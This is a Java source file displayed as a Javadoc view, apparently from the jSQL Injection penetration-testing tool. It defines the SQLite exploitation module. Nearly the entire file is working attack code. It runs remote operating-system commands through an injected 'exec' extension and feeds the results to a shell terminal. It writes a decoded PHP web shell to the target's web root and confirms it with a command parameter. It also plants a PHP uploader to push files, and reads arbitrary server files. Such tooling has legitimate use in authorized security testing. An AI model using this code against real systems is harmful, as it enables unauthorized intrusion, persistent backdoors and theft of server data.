View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.suspendable.SuspendableGetRows;
14  import com.jsql.util.LogLevelUtil;
15  import com.jsql.util.StringUtil;
16  import org.apache.commons.lang3.RandomStringUtils;
17  import org.apache.commons.lang3.StringUtils;
18  import org.apache.logging.log4j.LogManager;
19  import org.apache.logging.log4j.Logger;
20  import org.yaml.snakeyaml.Yaml;
21  
22  import java.io.File;
23  import java.io.FileInputStream;
24  import java.io.IOException;
25  import java.io.InputStream;
26  import java.net.http.HttpResponse;
27  import java.util.UUID;
28  import java.util.function.BinaryOperator;
29  
30  public class ExploitSqlite {
31  
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlSqlite modelYaml;
35  
36      public ExploitSqlite(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlSqlite.class
42          );
43      }
44  
45      public void createUdf() {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
47          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
48              this.modelYaml.getExtension().getExec(),
49              ResourceAccess.WEB_CONFIRM_CMD +"%20"
50          ), ResourceAccess.TBL_READ);
51          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
52              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
53              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
54                  (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitSqlite().runRce(command, terminalID)
55              ));
56          }
57      }
58  
59      public String runRce(String command, UUID uuidShell) {
60          String result;
61          try {
62              result = this.injectionModel.getResourceAccess().getResult(String.format(
63                  this.modelYaml.getExtension().getExec(),
64                  command.replace(StringUtils.SPACE, "%20")
65              ), ResourceAccess.RUN_FUNC);
66          } catch (JSqlException e) {
67              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
68          }
69          this.injectionModel.sendToViews(new Seal.GetTerminalResult(
70              uuidShell,
71              result.trim() +"\n"  // missing newline on some extensions
72          ));
73          return result;
74      }
75  
76      public String createWeb(String pathExploit, String urlExploit) {
77          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
78  
79          String bodyExploit = StringUtil.base64Decode(
80                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
81              )
82              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
83              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
84          var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
85          var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
86          var nameExploit = nameDbRandom + nameTableRandom +".php";
87          this.injectionModel.injectWithoutIndex(String.format(
88              this.modelYaml.getWriteFile(),
89              pathExploit + nameExploit, nameDbRandom,
90              nameDbRandom, nameTableRandom,
91              nameDbRandom, nameTableRandom, bodyExploit
92          ), ResourceAccess.TBL_DUMP);
93  
94          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
95              String result = this.injectionModel.getResourceAccess().callCommand(
96                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
97              );
98              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99                  LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
100                 return StringUtils.EMPTY;
101             }
102             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
103             return urlSuccess;
104         };
105 
106         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
107     }
108 
109     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
110         String bodyExploit = StringUtil.base64Decode(
111                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
112             )
113             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
114             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
115         var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
116         var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
117         var nameExploit = nameDbRandom + nameTableRandom +".php";
118         this.injectionModel.injectWithoutIndex(String.format(
119             this.modelYaml.getWriteFile(),
120             pathExploit + nameExploit, nameDbRandom,
121             nameDbRandom, nameTableRandom,
122             nameDbRandom, nameTableRandom, bodyExploit
123         ), ResourceAccess.TBL_DUMP);
124 
125         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
126             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
127                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
128                 if (result.body().contains(DataAccess.LEAD +"y")) {
129                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
130                 } else {
131                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
132                 }
133             } catch (InterruptedException e) {
134                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
135                 Thread.currentThread().interrupt();
136             } catch (IOException | JSqlException e) {
137                 throw new JSqlRuntimeException(e);
138             }
139             return urlSuccess;
140         };
141 
142         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
143     }
144 
145     public String getRead(String pathFile) throws AbstractSlidingException {
146         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
147         return new SuspendableGetRows(this.injectionModel).run(new Input(
148             String.format(
149                 this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
150                 pathFile
151             ),
152             new String[]{ StringUtils.EMPTY },
153             false,
154             1,
155             MockElement.MOCK,
156             ResourceAccess.FILE_READ
157         ));
158     }
159 
160     public ModelYamlSqlite getModelYaml() {
161         return this.modelYaml;
162     }
163 }